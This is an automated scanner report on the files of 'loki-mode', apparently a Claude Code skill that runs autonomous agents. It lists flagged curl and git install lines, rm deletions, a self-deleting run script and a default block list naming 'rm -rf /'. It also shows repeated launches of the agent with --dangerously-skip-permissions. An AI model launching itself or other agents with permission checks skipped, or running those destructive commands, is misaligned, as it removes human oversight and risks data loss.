# Download and extract curl -L -o loki-mode.zip "https://github.com/asklokesh/loki-mode/releases/download/v${VERSION}/loki-mode-claude-code-${VERSION}.zip" - Network accessline 61
curl -L -o loki-mode.zip "https://github.com/asklokesh/loki-mode/releases/download/v${VERSION}/loki-mode-claude-code-${VERSION}.zip" - Dangerous shell operationline 62
unzip loki-mode.zip && rm loki-mode.zip - Network accessline 75
# Download core skill file curl -o ~/.claude/skills/loki-mode/SKILL.md \ - Network accessline 76
curl -o ~/.claude/skills/loki-mode/SKILL.md \ - Network accessline 77
https://raw.githubusercontent.com/asklokesh/loki-mode/main/SKILL.md - Network accessline 79
# Download agent definitions curl -o ~/.claude/skills/loki-mode/references/agents.md \ - Network accessline 80
curl -o ~/.claude/skills/loki-mode/references/agents.md \ - Network accessline 81
https://raw.githubusercontent.com/asklokesh/loki-mode/main/references/agents.md - Network accessline 83
# Download deployment guides curl -o ~/.claude/skills/loki-mode/references/deployment.md \ - Network accessline 84
curl -o ~/.claude/skills/loki-mode/references/deployment.md \ - Network accessline 85
https://raw.githubusercontent.com/asklokesh/loki-mode/main/references/deployment.md - Network accessline 87
# Download business operations reference curl -o ~/.claude/skills/loki-mode/references/business-ops.md \ - Network accessline 88
curl -o ~/.claude/skills/loki-mode/references/business-ops.md \ - Network accessline 89
https://raw.githubusercontent.com/asklokesh/loki-mode/main/references/business-ops.md - Network accessline 102
1. Go to [Releases](https://github.com/asklokesh/loki-mode/releases) 2. Download **either**: - Network accessline 111
1. Open [Claude.ai](https://claude.ai) - Network accessline 127
1. Go to [Releases](https://github.com/asklokesh/loki-mode/releases) 2. Download **`loki-mode-api-X.X.X.zip`** (note the `-api-` version) - Network accessline 134
1. Go to [console.anthropic.com](https://console.anthropic.com) - Network accessline 250
**Problem:** curl or wget commands fail. - Network accessline 257
# Use wget instead of curl - Network accessline 258
wget -O ~/.claude/skills/loki-mode/SKILL.md \ - Network accessline 259
https://raw.githubusercontent.com/asklokesh/loki-mode/main/SKILL.md - Network accessline 306
# If missing, download them: curl -o ~/.claude/skills/loki-mode/references/agents.md \ - Network accessline 307
curl -o ~/.claude/skills/loki-mode/references/agents.md \ - Network accessline 308
https://raw.githubusercontent.com/asklokesh/loki-mode/main/references/agents.md - Dangerous shell operationline 342
rm -rf ~/.claude/skills/loki-mode - Network accessline 372
4. **Join the Community:** Report issues or contribute at [GitHub](https://github.com/asklokesh/loki-mode) - Network accessline 378
- **Issues/Bugs:** [GitHub Issues](https://github.com/asklokesh/loki-mode/issues) - Network accessline 379
- **Discussions:** [GitHub Discussions](https://github.com/asklokesh/loki-mode/discussions)
skills/loki-mode/README.md
- Network accessline 5
[](https://claude.ai) - Network accessline 6
[]() - Network accessline 7
[](benchmarks/results/) - Network accessline 8
[](benchmarks/results/) - Network accessline 9
[](benchmarks/results/) - Network accessline 10
[](LICENSE) - Network accessline 20
[](https://asciinema.org/a/EqNo5IVTaPJfCjLmnYgZ9TC3E) - Network accessline 231
# Clone to your Claude Code skills directory git clone https://github.com/asklokesh/loki-mode.git ~/.claude/skills/loki-mode - Network accessline 232
git clone https://github.com/asklokesh/loki-mode.git ~/.claude/skills/loki-mode - Network accessline 235
See [INSTALLATION.md](INSTALLATION.md) for other installation methods (Web, API Console, minimal curl install). - Instruction override signalline 267
# Or manual mode claude --dangerously-skip-permissions - Instruction override signalline 268
claude --dangerously-skip-permissions - Network accessline 292
<img width="5309" height="979" alt="Agent Swarms Visualization" src="https://github.com/user-attachments/assets/7d18635d-a606-401f-8d9f-430e6e4ee689" /> - Access to secretsline 427
[Credential-related source omitted] - Instruction override signalline 435
- **Claude Code** with `--dangerously-skip-permissions` flag - Network accessline 451
Integrate with [Vibe Kanban](https://github.com/BloopAI/vibe-kanban) for a visual kanban board: - Network accessline 511
| Source | Key Contribution | |--------|------------------| | [Anthropic: Building Effective Agents](https://www.anthropic.com/research/building-effective-agents) | Evaluator-optimizer pattern, parallelization | - Network accessline 512
|--------|------------------| | [Anthropic: Building Effective Agents](https://www.anthropic.com/research/building-effective-agents) | Evaluator-optimizer pattern, parallelization | | [Anthropic: Constitutional AI](https://www.anthropic.com - Network accessline 513
| [Anthropic: Building Effective Agents](https://www.anthropic.com/research/building-effective-agents) | Evaluator-optimizer pattern, parallelization | - Network accessline 514
| [Anthropic: Constitutional AI](https://www.anthropic.com/research/constitutional-ai-harmlessness-from-ai-feedback) | Self-critique against principles | - Network accessline 515
| [DeepMind: Scalable Oversight via Debate](https://deepmind.google/research/publications/34920/) | Debate-based verification | - Network accessline 516
| [DeepMind: SIMA 2](https://deepmind.google/blog/sima-2-an-agent-that-plays-reasons-and-learns-with-you-in-virtual-3d-worlds/) | Self-improvement loop | - Network accessline 517
| [OpenAI: Agents SDK](https://openai.github.io/openai-agents-python/) | Guardrails, tripwires, tracing | - Network accessline 518
| [NVIDIA ToolOrchestra](https://github.com/NVlabs/ToolOrchestra) | Efficiency metrics, reward signals | - Network accessline 519
| [CONSENSAGENT (ACL 2025)](https://aclanthology.org/2025.findings-acl.1141/) | Anti-sycophancy, blind review | - Network accessline 520
| [GoalAct](https://arxiv.org/abs/2504.16563) | Hierarchical planning | - Network accessline 524
- **Boris Cherny** (Claude Code creator) - Self-verification loop, extended thinking - **Simon Willison** - Sub-agents for context isolation, skills system - **Hacker News Community** - [Production patterns](https://news.ycombinator.com/ite - Network accessline 526
- **Hacker News Community** - [Production patterns](https://news.ycombinator.com/item?id=44623207) from real deployments - Network accessline 530
- [LerianStudio/ring](https://github.com/LerianStudio/ring) - Subagent-driven-development pattern - Network accessline 531
- [Awesome Agentic Patterns](https://github.com/nibzard/awesome-agentic-patterns) - 105+ production patterns - Network accessline 535
Built for the [Claude Code](https://claude.ai) ecosystem, powered by Anthropic's Claude models (Sonnet, Haiku, Opus). - Network accessline 542
git clone https://github.com/asklokesh/loki-mode.git ~/.claude/skills/loki-mode
skills/loki-mode/SKILL.md
- Instruction override signalline 98
# Launch with autonomous permissions claude --dangerously-skip-permissions - Instruction override signalline 99
claude --dangerously-skip-permissions - Network accessline 356
**Single-Responsibility Principle:** Each agent should have ONE clear goal and narrow scope. ([UiPath Best Practices](https://www.uipath.com/blog/ai/agent-builder-best-practices)) - Network accessline 357
([UiPath Best Practices](https://www.uipath.com/blog/ai/agent-builder-best-practices))
skills/loki-mode/autonomy/README.md
- Network accessline 70
| Prerequisite | Required | Notes | |--------------|----------|-------| | Claude Code CLI | Yes | Install from https://claude.ai/code | - Network accessline 71
|--------------|----------|-------| | Claude Code CLI | Yes | Install from https://claude.ai/code | | Python 3 | Yes | For state management | - Network accessline 72
| Claude Code CLI | Yes | Install from https://claude.ai/code | - Network accessline 73
| Python 3 | Yes | For state management | | Git | Yes | For version control | | curl | Yes | For web fetches | - Network accessline 74
| Git | Yes | For version control | | curl | Yes | For web fetches | | Node.js | No | Needed for some builds | - Network accessline 75
| curl | Yes | For web fetches | - Instruction override signalline 162
| Feature | Manual Mode | Autonomy Mode | |---------|-------------|---------------| | Start | `claude --dangerously-skip-permissions` | `./autonomy/run.sh` | - Instruction override signalline 163
|---------|-------------|---------------| | Start | `claude --dangerously-skip-permissions` | `./autonomy/run.sh` | | Prereq check | Manual | Automatic | - Instruction override signalline 164
| Start | `claude --dangerously-skip-permissions` | `./autonomy/run.sh` | - Network accessline 175
npm install -g @anthropic-ai/claude-code # or visit https://claude.ai/code - Network accessline 176
# or visit https://claude.ai/code
skills/loki-mode/autonomy/run.sh
- Executable scriptline 1
#!/bin/bash - Dangerous shell operationline 30
# LOKI_BLOCKED_COMMANDS - Comma-separated blocked shell commands (default: rm -rf /) - Dangerous shell operationline 79
trap 'rm -f "${BASH_SOURCE[0]}" 2>/dev/null' EXIT - Network accessline 166
missing+=("claude") log_error "Claude Code CLI not found" log_info "Install: https://claude.ai/code or npm install -g @anthropic-ai/claude-code" - Network accessline 167
log_error "Claude Code CLI not found" log_info "Install: https://claude.ai/code or npm install -g @anthropic-ai/claude-code" fi - Network accessline 168
log_info "Install: https://claude.ai/code or npm install -g @anthropic-ai/claude-code" - Network accessline 206
# Check curl (for web fetches) - Network accessline 207
log_step "Checking curl..." if command -v curl &> /dev/null; then - Network accessline 208
if command -v curl &> /dev/null; then - Network accessline 210
else missing+=("curl") log_error "curl not found" - Network accessline 211
missing+=("curl") log_error "curl not found" fi - Network accessline 212
log_error "curl not found" - Network accessline 688
async function loadJSON(path) { try { const res = await fetch(path + '?t=' + Date.now()); - Network accessline 689
try { const res = await fetch(path + '?t=' + Date.now()); if (!res.ok) return []; - Network accessline 690
const res = await fetch(path + '?t=' + Date.now()); - Network accessline 776
try { const state = await fetch('../state/orchestrator.json?t=' + Date.now()).then(r => r.json()); - Network accessline 777
const state = await fetch('../state/orchestrator.json?t=' + Date.now()).then(r => r.json()); - Dangerous shell operationline 986
rm -f ".loki/signals/PLAN_APPROVED" - Access to secretsline 1073
[Credential-related source omitted] - Network accessline 1193
if kill -0 $DASHBOARD_PID 2>/dev/null; then log_info "Dashboard started (PID: $DASHBOARD_PID)" log_info "Dashboard: ${CYAN}http://127.0.0.1:$DASHBOARD_PORT/dashboard/index.html${NC}" - Network accessline 1195
log_info "Dashboard: ${CYAN}http://127.0.0.1:$DASHBOARD_PORT/dashboard/index.html${NC}" - Network accessline 1198
if [[ "$OSTYPE" == "darwin"* ]]; then open "http://127.0.0.1:$DASHBOARD_PORT/dashboard/index.html" 2>/dev/null || true - Network accessline 1199
open "http://127.0.0.1:$DASHBOARD_PORT/dashboard/index.html" 2>/dev/null || true - Dangerous shell operationline 1353
rm -f ".loki/signals/CONTEXT_CLEAR_REQUESTED" - Dangerous shell operationline 1555
log_error "Max iterations already reached. Reset with: rm .loki/autonomy-state.json" - Instruction override signalline 1595
claude --dangerously-skip-permissions -p "$prompt" \ - Network accessline 1608
MAGENTA = "\033[0;35m" DIM = "\033[2m" NC = "\033[0m" - Network accessline 1610
NC = "\033[0m"
skills/loki-mode/benchmarks/datasets/humaneval.jsonl
- Dangerous shell operationline 161
{"task_id": "HumanEval/160", "prompt": "\ndef do_algebra(operator, operand):\n \"\"\"\n Given two lists operator, and operand. The first list has basic algebra operations, and \n the second list is a list of integers. Use the two g
skills/loki-mode/benchmarks/datasets/swebench-lite.json
- Network accessline 3
"version": "1.0", "description": "300 real-world GitHub issues for evaluation", "source": "https://github.com/SWE-bench/SWE-bench", - Network accessline 4
"description": "300 real-world GitHub issues for evaluation", "source": "https://github.com/SWE-bench/SWE-bench", "problems": 300, - Network accessline 5
"source": "https://github.com/SWE-bench/SWE-bench",
skills/loki-mode/benchmarks/prepare-submission.sh
- Executable scriptline 1
#!/bin/bash - Network accessline 171
# Fork https://github.com/SWE-bench/experiments - Network accessline 173
git clone https://github.com/YOUR_USERNAME/experiments.git - Network accessline 193
For questions about this submission, open an issue at: https://github.com/asklokesh/loki-mode/issues - Network accessline 194
https://github.com/asklokesh/loki-mode/issues
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/0.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/1.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/10.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/100.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/101.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/102.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/103.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/104.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/105.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/106.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/107.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/108.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/109.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/11.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/110.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/111.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/112.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/113.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/114.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/115.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/116.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/117.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/118.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/119.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/12.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/120.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/121.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/122.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/123.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/124.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/125.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/126.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/127.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/128.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/129.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/13.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/130.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/131.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/132.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/133.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/134.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/135.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/136.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/137.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/138.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/139.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/14.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/140.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/141.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/142.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/143.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/144.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/145.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/146.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/147.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/148.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/149.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/15.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/150.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/151.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/152.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/153.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/154.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/155.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/156.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/157.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/158.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/159.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/16.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/160.py
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/161.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/162.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/163.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/17.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/18.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/19.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/2.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/20.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/21.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/22.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/23.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/24.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/25.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/26.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/27.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/28.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/29.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/3.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/30.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/31.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/32.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/33.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/34.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/35.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/36.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/37.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/38.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/39.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/4.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/40.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/41.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/42.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/43.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/44.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/45.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/46.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/47.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/48.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/49.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/5.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/50.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/51.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/52.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/53.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/54.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/55.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/56.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/57.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/58.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/59.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/6.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/60.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/61.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/62.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/63.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/64.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/65.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/66.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/67.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/68.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/69.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/7.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/70.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/71.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/72.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/73.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/74.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/75.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/76.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/77.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/78.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/79.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/8.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/80.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/81.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/82.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/83.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/84.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/85.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/86.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/87.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/88.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/89.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/9.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/90.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/91.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/92.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/93.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/94.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/95.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/96.py
- Executable scriptline 1
Executable file
